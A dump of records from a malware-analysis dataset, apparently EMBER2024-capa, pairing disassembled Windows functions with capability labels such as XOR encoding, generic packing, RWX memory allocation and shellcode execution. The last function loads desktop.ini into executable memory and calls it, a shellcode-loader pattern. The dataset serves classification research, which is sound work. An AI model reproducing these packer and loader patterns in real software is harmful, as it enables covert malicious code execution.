joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c84ca
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.100b0780
mov eax, dword [0x101053c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.100c4de0
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x100c850c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x100c8668
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.100d47a0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x1011ae28]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.100c9cb8
mov ecx, dword [esi*4 + 0x1011ae28]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x100c8661
cmp eax, dword [ecx + edi + 0x24]
jne 0x100c8661
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100c8661
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100c9cb8
add esp, 0x14
test edx, edx
jl 0x100c8661
jg 0x100c85d7
test eax, eax
jb 0x100c8661
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x100c8661
jl 0x100c85f1
cmp dword [ebp - 0x1008], eax
ja 0x100c8661
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x100c860f
test ebx, ebx
je 0x100c8648
cmp ecx, edi
jae 0x100c8648
mov al, byte [ecx]
cmp al, 0xd
jne 0x100c8629
lea eax, [edi - 1]
cmp ecx, eax
jae 0x100c8635
cmp byte [ecx + 1], 0xa
jne 0x100c8635
inc ecx
jmp 0x100c8635
movzx eax, al
movsx eax, byte [eax + 0x10105670]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x100c860f
cmp edx, ebx
jne 0x100c860f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x100c8666
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100aed12
leave
ret
Function at 0x100c9150
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1011ae28]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100c9190
cmp byte [ebx], 0xa
jne 0x100c9190
or byte [edi + eax + 0x28], 4
jmp 0x100c9195
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x100c9294
mov dl, byte [eax]
cmp dl, 0x1a
je 0x100c9277
inc eax
cmp dl, 0xd
je 0x100c91c1
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x100c91e7
cmp eax, ecx
jae 0x100c91f5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x100c91a9
jmp 0x100c9294
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100c9272
cmp dword [ebp - 0x10], 0
je 0x100c9272
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1011ae28]
test byte [eax + edi + 0x28], 0x48
je 0x100c924c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x100c9237
mov byte [esi], dl
jmp 0x100c9248
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1011ae28]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x100c9294
cmp byte [ebp - 1], 0xa
jne 0x100c925b
cmp esi, ebx
jne 0x100c925b
mov byte [esi], 0xa
jmp 0x100c9293
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.100c9cd6
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x100c9294
mov byte [esi], 0xd
jmp 0x100c9293
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1011ae28]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x100c9291
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x100c9294
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100c929d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1011ae28]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100c92e3
cmp word [ebx], dx
jne 0x100c92e3
or byte [eax + edi + 0x28], 4
jmp 0x100c92e8
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x100c944b
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x100c942b
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x100c9329
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x100c935f
cmp eax, edx
jae 0x100c936d
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x100c9304
jmp 0x100c944b
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100c9426
cmp dword [ebp - 0x18], 0
je 0x100c9426
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1011ae28]
test byte [eax + edi + 0x28], 0x48
je 0x100c93fc
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x100c93c0
mov word [esi], cx
jmp 0x100c93f7
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1011ae28]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1011ae28]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1011ae28]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x100c944b
pop eax
cmp word [ebp - 4], ax
jne 0x100c940c
cmp esi, ebx
jne 0x100c940c
mov word [esi], ax
jmp 0x100c9448
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.100c9cd6
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x100c944b
push 0xd
pop eax
jmp 0x100c9407
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1011ae28]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x100c9445
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x100c944b
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100cc492
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100cc52f
push ebx
push esi
call fcn.100cc45b
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100cb277
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100cc4dc
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100cc52e
push edi
push eax
call fcn.100c6456
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100cc4fc
call fcn.100c45af
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100cc52d
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100cb277
add esp, 0x20
test eax, eax
jne 0x100cc51b
push edi
call fcn.100c45af
jmp 0x100cc523
push ebx
call fcn.100c45af
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100ce663
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.100c2bff
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100ce6d2
cmp esi, dword [ebp - 4]
je 0x100ce6cd
cmp dword [ebp + 0xc], 0
je 0x100ce6cd
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x100ce6aa
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.100ce1b5
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x100ce6d4
xor eax, eax
inc eax
jmp 0x100ce6d4
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x100ce739
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x101053c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.100c2bff
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100c2bff
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x100ce7b0
cmp word [ecx], dx
je 0x100ce7b0
mov eax, dword [0x100e84ac]
push edi
dec eax
push eax
push 0x100e8398
call fcn.100ce6d8
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100ce823
cmp word [eax], dx
je 0x100ce823
mov eax, dword [edi]
test eax, eax
je 0x100ce7d4
cmp word [eax], dx
je 0x100ce7d4
lea eax, [ebp - 0x10]
push eax
call fcn.100ce0bb
jmp 0x100ce7dd
lea eax, [ebp - 0x10]
push eax
call fcn.100ce156
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x100ce84d
mov eax, dword [0x100e8394]
push dword [ebp - 0x14]
dec eax
push eax
push 0x100e8088
call fcn.100ce6d8
add esp, 0xc
test al, al
je 0x100ce84d
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100ce818
cmp word [eax], di
je 0x100ce818
lea eax, [ebp - 0x10]
push eax
call fcn.100ce0bb
pop ecx
jmp 0x100ce84f
lea eax, [ebp - 0x10]
push eax
call fcn.100ce156
jmp 0x100ce815
mov eax, dword [edi]
test eax, eax
je 0x100ce83a
cmp word [eax], dx
je 0x100ce83a
lea eax, [ebp - 0x10]
push eax
call fcn.100ce070
pop ecx
jmp 0x100ce84d
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x100ce918
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.100ce55d
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100ce918
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x100ce918
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x100ce918
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100ce8a5
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.100c7d6a
test ebx, ebx
je 0x100ce913
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.100c7d6a
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100ce918
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100ce918
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.100c472e
add esp, 0x10
xor eax, eax
inc eax
jmp 0x100ce91a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100aed12
leave
ret
Function at 0x100d2f61
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.100d2edd
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x100d30d0
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x100d30d0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x100d3085
jg 0x100d2fbd
test eax, eax
je 0x100d307b
push 1
push 0x1000
call fcn.100c542a
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x100d2fe0
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100d3072
push 0x8000
push ebx
call fcn.100d2e0e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x100d3009
jg 0x100d3004
cmp ecx, 0x1000
jb 0x100d3009
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100c5e90
add esp, 0x10
cmp eax, 0xffffffff
je 0x100d304e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x100d3004
jl 0x100d3035
test ecx, ecx
jne 0x100d2ff6
push dword [ebp - 0xc]
push ebx
call fcn.100d2e0e
push esi
call fcn.100c45af
add esp, 0xc
xor ebx, ebx
jmp 0x100d30de
cmp byte [edi + 0x24], 0
je 0x100d3065
cmp dword [edi + 0x20], 5
jne 0x100d3065
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x100d3070
mov ebx, dword [edi + 0x18]
jmp 0x100d3072
xor ebx, ebx
push esi
call fcn.100c45af
pop ecx
jmp 0x100d30de
test ecx, ecx
jg 0x100d3047
jl 0x100d3085
test eax, eax
jae 0x100d3047
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100c9cd6
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100d30a5
cmp byte [edi + 0x1c], 0
je 0x100d3047
jmp 0x100d30d6
push ebx
call fcn.100cecf3
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x100d3047
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100d30de
cmp byte [edi + 0x1c], 0
je 0x100d30db
mov ebx, dword [edi + 0x18]
jmp 0x100d30de
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.100c9cd6
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100d46a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100d46cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100d46cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x21af57e0
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x75813c4e
nop
nop
nop
nop
nop
test eax, eax
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x409978
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a4b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a64
push ebx
push 0x409a70
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403388
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402750
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004033e8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4099f8
mov al, 0x69
call fcn.0040961c
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040994c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a01
call fcn.0040994c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a52
lea eax, [ebp - 4]
call fcn.0040316c
ret

Function at 0x409b04
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409bb8
jmp 0x409bad
cmp dword [esi + 0x10], 0x1000
jne 0x409b99
test byte [esi + 0x15], 1
jne 0x409b99
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b58
cmp eax, 2
je 0x409b58
cmp eax, 0x10
je 0x409b58
cmp eax, 0x20
jne 0x409b6d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b6d
mov bl, 1
xor ebp, ebp
jmp 0x409b7e
mov eax, dword [esi]
add eax, ebp
call fcn.00409afc
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b71
test bl, bl
je 0x409b99
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409bb8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b30
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x408943
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
add edx, edi
or edx, edx
call fcn.0040896b
or edi, edx
and edi, edx
xor dword [esi], ecx
inc edx
add edi, edx
inc esi
cmp esi, ebx
jne fcn.00408943
push 0xba65bbc3
mov edx, dword [esp]
add esp, 4
ret
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
push ebx
push esi
push edi
push edx
pop edi
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
push ecx
pop esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
or ebx, ebx
je 0x4016d4
push esi
pop edi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
push edi
pop edx
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
push esi
pop ebx
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
or ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
push eax
pop esi
mov edx, esi
push ebx
pop ecx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.Printers
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000118a
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011b5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x10001208
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10